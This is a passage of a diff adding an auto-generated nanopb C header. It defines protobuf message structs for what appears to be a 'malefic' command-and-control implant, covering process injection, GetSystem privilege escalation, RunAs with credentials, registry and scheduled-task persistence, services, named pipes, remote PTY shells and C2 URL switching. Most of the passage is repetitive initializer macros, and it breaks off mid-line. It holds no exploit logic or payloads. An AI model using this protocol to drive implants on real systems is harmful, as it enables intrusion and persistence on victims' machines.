+typedef struct _malefic_CurlRequest { + char url[512]; + int32_t timeout; + char method[16]; + malefic_CurlRequest_body_t body; + pb_callback_t header; + char hostname[256]; +} malefic_CurlRequest; + +typedef struct _malefic_CurlRequest_HeaderEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_CurlRequest_HeaderEntry; + +typedef struct _malefic_ChownRequest { + char path[256]; + char uid[64]; + char gid[64]; + bool recursive; +} malefic_ChownRequest; + +typedef struct _malefic_IfconfigResponse { + pb_size_t net_interfaces_count; + malefic_NetInterface net_interfaces[32]; +} malefic_IfconfigResponse; + +typedef struct _malefic_Registry { + char hive[64]; + char path[256]; + char key[256]; +} malefic_Registry; + +/* wrap for client */ +typedef struct _malefic_RegistryRequest { + char type[64]; + bool has_registry; + malefic_Registry registry; +} malefic_RegistryRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_RegistryWriteRequest_byte_value_t; +typedef struct _malefic_RegistryWriteRequest { + char hive[64]; + char path[256]; + char key[256]; + char string_value[256]; + malefic_RegistryWriteRequest_byte_value_t byte_value; + uint32_t dword_value; + uint64_t qword_value; + uint32_t regtype; +} malefic_RegistryWriteRequest; + +typedef struct _malefic_TaskSchedule { + char name[256]; + char path[256]; + char executable_path[256]; + uint32_t trigger_type; + char start_boundary[64]; + char description[256]; + bool enabled; + char last_run_time[64]; + char next_run_time[64]; +} malefic_TaskSchedule; + +typedef struct _malefic_TaskScheduleRequest { + char type[64]; + bool has_taskschd; + malefic_TaskSchedule taskschd; +} malefic_TaskScheduleRequest; + +typedef struct _malefic_TaskSchedulesResponse { + pb_size_t schedules_count; + malefic_TaskSchedule schedules[64]; +} malefic_TaskSchedulesResponse; + +typedef struct _malefic_ServiceConfig { + char name[256]; + char display_name[256]; + char executable_path[256]; + uint32_t start_type; + uint32_t error_control; + char account_name[128]; +} malefic_ServiceConfig; + +/* wrap for client */ +typedef struct _malefic_ServiceRequest { + char type[64]; + bool has_service; + malefic_ServiceConfig service; +} malefic_ServiceRequest; + +typedef struct _malefic_ServiceStatus { + uint32_t current_state; + uint32_t process_id; + uint32_t exit_code; + uint32_t checkpoint; + uint32_t wait_hint; +} malefic_ServiceStatus; + +typedef struct _malefic_Service { + bool has_config; + malefic_ServiceConfig config; + bool has_status; + malefic_ServiceStatus status; +} malefic_Service; + +typedef struct _malefic_ServicesResponse { + pb_size_t services_count; + malefic_Service services[128]; +} malefic_ServicesResponse; + +typedef struct _malefic_WmiQueryRequest { + char namespace[256]; + pb_size_t args_count; + char args[16][256]; +} malefic_WmiQueryRequest; + +typedef struct _malefic_WmiMethodRequest { + char namespace[256]; + char class_name[128]; + char method_name[128]; + pb_callback_t params; +} malefic_WmiMethodRequest; + +typedef struct _malefic_WmiMethodRequest_ParamsEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_WmiMethodRequest_ParamsEntry; + +typedef struct _malefic_RunAsRequest { + char username[128]; /* Username to execute as */ + char domain[128]; /* User domain */ + char password[256]; /* User password */ + char program[256]; /* Program path */ + char args[256]; /* Program arguments (optional) */ + bool use_profile; + bool netonly; /* Use network credentials only (optional, default false) */ + bool use_env; +} malefic_RunAsRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_GetSystem_bin_t; +typedef struct _malefic_GetSystem { + malefic_GetSystem_bin_t bin; + uint32_t pid; +} malefic_GetSystem; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Inject_bin_t; +typedef struct _malefic_Inject { + malefic_Inject_bin_t bin; + uint32_t pid; +} malefic_Inject; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Pipe_data_t; +typedef struct _malefic_Pipe { + char name[128]; + char target[128]; + malefic_Pipe_data_t data; +} malefic_Pipe; + +typedef struct _malefic_PipeRequest { + char type[64]; + bool has_pipe; + malefic_Pipe pipe; +} malefic_PipeRequest; + +typedef struct _malefic_Switch { + pb_size_t urls_count; + char urls[16][256]; +} malefic_Switch; + +typedef struct _malefic_TaskCtrl { + uint32_t task_id; + char op[64]; +} malefic_TaskCtrl; + +typedef struct _malefic_TaskInfo { + uint32_t task_id; + uint64_t last; + uint32_t recv_count; + uint32_t send_count; +} malefic_TaskInfo; + +typedef struct _malefic_TaskListResponse { + pb_size_t tasks_count; + malefic_TaskInfo tasks[128]; +} malefic_TaskListResponse; + +typedef struct _malefic_FFmpegRequest { + char action[64]; + char device_name[128]; + char output_format[32]; + char output_path[256]; + char time[32]; +} malefic_FFmpegRequest; + +typedef PB_BYTES_ARRAY_T(4096) malefic_PtyRequest_input_data_t; +/* PTY */ +typedef struct _malefic_PtyRequest { + char type[32]; /* type: "start", "input", "stop" */ + char session_id[64]; /* */ + char shell[128]; /* shell type: "/bin/bash", "cmd.exe", "powershell.exe" */ + uint32_t cols; /* */ + uint32_t rows; /* */ + malefic_PtyRequest_input_data_t input_data; /* */ + char input_text[4096]; /* */ + pb_callback_t params; /* */ +} malefic_PtyRequest; + +typedef struct _malefic_PtyRequest_ParamsEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_PtyRequest_ParamsEntry; + +typedef PB_BYTES_ARRAY_T(4096) malefic_PtyResponse_output_data_t; +typedef struct _malefic_PtyResponse { + char session_id[64]; /* Session ID */ + malefic_PtyResponse_output_data_t output_data; /* Output data (binary) */ + char output_text[4096]; /* Output data (text) */ + char error[256]; /* Error message */ + bool session_active; /* Whether session is still active */ + pb_size_t active_sessions_count; + char active_sessions[32][64]; + pb_callback_t metadata; +} malefic_PtyResponse; + +typedef struct _malefic_PtyResponse_MetadataEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_PtyResponse_MetadataEntry; + +typedef PB_BYTES_ARRAY_T(4096) malefic_CommonBody_bytes_array_t; +typedef struct _malefic_CommonBody { + char name[256]; + pb_size_t u32_array_count; + uint32_t u32_array[32]; + pb_size_t u64_array_count; + uint64_t u64_array[32]; + pb_size_t bool_array_count; + bool bool_array[32]; + pb_size_t string_array_count; + char string_array[32][256]; + pb_size_t bytes_array_count; + malefic_CommonBody_bytes_array_t bytes_array[16]; +} malefic_CommonBody; + + +#ifdef __cplusplus +extern "C" { +#endif + +/* Initializer values for message structs */ +#define malefic_Ping_init_default {0} +#define malefic_Register_init_default {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, {malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default}, false, malefic_Timer_init_default, false, malefic_SysInfo_init_default, false, malefic_Secure_init_default} +#define malefic_Secure_init_default {0, "", "", ""} +#define malefic_KeyExchangeRequest_init_default {"", {0, {0}}, 0, ""} +#define malefic_KeyExchangeResponse_init_default {""} +#define malefic_Init_init_default {{0, {0}}} +#define malefic_SysInfo_init_default {"", "", 0, false, malefic_Os_init_default, false, malefic_Process_init_default} +#define malefic_Suicide_init_default {0, 0} +#define malefic_Request_init_default {"", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, {{NULL}, NULL}, {0, {0}}} +#define malefic_Request_ParamsEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_Response_init_default {"", "", {{NULL}, NULL}, 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Response_KvEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_BypassRequest_init_default {0, 0, 0} +#define malefic_NetInterface_init_default {0, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_SockTabEntry_init_default {"", "", "", "", ""} +#define malefic_NetstatResponse_init_default {0, {malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default}} +#define malefic_Block_init_default {0, {0, {0}}, 0} +#define malefic_ACK_init_default {0, 0, 0} +#define malefic_Os_init_default {"", "", "", "", "", "", "", 0, {"", "", "", "", "", "", "", ""}} +#define malefic_Process_init_default {"", 0, 0, "", "", "", "", ""} +#define malefic_Timer_init_default {"", 0} +#define malefic_FileInfo_init_default {"", 0, 0, 0, 0, ""} +#define malefic_SacrificeProcess_init_default {0, 0, 0, 0, ""} +#define malefic_LsResponse_init_default {"", 0, 0, {malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default}} +#define malefic_DriveInfo_init_default {"", "", 0, 0, ""} +#define malefic_EnumDriversResponse_init_default {0, {malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default}} +#define malefic_PsResponse_init_default {0, {malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, 